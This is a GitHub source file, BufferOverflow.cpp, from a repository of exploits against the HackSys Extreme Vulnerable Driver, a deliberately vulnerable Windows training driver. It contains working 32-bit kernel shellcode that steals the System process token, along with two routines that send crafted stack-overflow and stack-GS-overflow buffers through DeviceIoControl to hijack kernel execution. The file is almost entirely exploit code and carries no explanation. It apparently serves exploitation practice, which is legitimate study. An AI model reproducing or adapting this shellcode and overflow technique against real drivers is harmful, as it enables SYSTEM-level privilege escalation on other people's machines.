HEVD-Exp/BufferOverflow.cpp at main · AO031/HEVD-Exp · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
#include "BufferOverflow.h"
#include <iostream>
#include <cstring>

#pragma warning(disable:6385)
#ifndef _WIN64
__declspec(naked) void StackExpShellcode() {

	__asm {
		pushad
		pushfd

		mov eax, fs: [0x124]
		mov eax, [eax + 0x150]
		mov edi, eax

	searchSystem:
		mov eax, [eax + 0x0b8]
		sub eax, 0x0b8
		cmp [eax + 0x0b4], 4
		jne searchSystem

		mov esi, eax
		mov eax, [esi + 0x0f8]
		mov [edi + 0x0f8], eax

		popfd
		popad

		xor eax, eax
		pop ebp
		ret 8
	}
}

// HEVD_IOCTL_BUFFER_OVERFLOW_STACK
BOOL StackExp(HANDLE hDevice) {
	BOOL res = TRUE;
	DWORD byteReturn = 0;
	PVOID shellcodeAddr = (PVOID)StackExpShellcode;
	std::string payload(0x20, 'a');
	payload.append((char*)&shellcodeAddr, sizeof(shellcodeAddr));

	std::string stackBuffer(0x800, 'a');
	stackBuffer += payload;

	res = DeviceIoControl(
		hDevice,
		HEVD_IOCTL_BUFFER_OVERFLOW_STACK,
		(LPVOID)stackBuffer.data(),
		payload.size() + 0x800,
		NULL,
		0,
		&byteReturn,
		nullptr
	);

	return res;
}

__declspec(naked) void StackGsExpShellcode() {
	__asm {
		pushad
		pushfd

		mov eax, fs: [0x124]
		mov eax, [eax + 0x150]
		mov edi, eax
	}
searchSystem:
	__asm {
		mov eax, [eax + 0x0b8]
		sub eax, 0x0b8
		cmp[eax + 0x0b4], 4
		jne searchSystem

		mov esi, eax
		mov eax, [esi + 0x0f8]
		mov[edi + 0x0f8], eax

		popfd
		popad

		xor eax, eax
		add esp, 0x770
		pop edi
		pop esi
		pop ebx
		add esp, 0x22c
		pop ebp
		retn 8
	}
}

BOOL StackGsExp(HANDLE hDevice) {
	BOOL res = TRUE;
	DWORD byteReturn = 0;
	ULONG payloadLength = 0x10 + sizeof(PVOID);
	PVOID scAddr = StackGsExpShellcode;
	//ULONG payloadLength = 0;
	//PBYTE payload = "aaaaaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabaaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacaaacbaaccaacdaaceaacfaacgaachaaciaacjaackaacl";
	std::string payload(payloadLength, 'a');
	PBYTE stackBuffer = (PBYTE)VirtualAlloc(NULL,0x1000,MEM_COMMIT,PAGE_READWRITE);
	if (!stackBuffer) return FALSE;

	stackBuffer += (0x1000 - (0x200+payloadLength));
	memcpy(&payload[0x10], &scAddr,sizeof(PVOID));
	memcpy(&stackBuffer[0x200], payload.data(), payloadLength);

	res = DeviceIoControl(hDevice, HEVD_IOCTL_BUFFER_OVERFLOW_STACK_GS, stackBuffer, payloadLength+0x200+0x4, NULL, 0, &byteReturn, NULL);

	return res;
}
#endif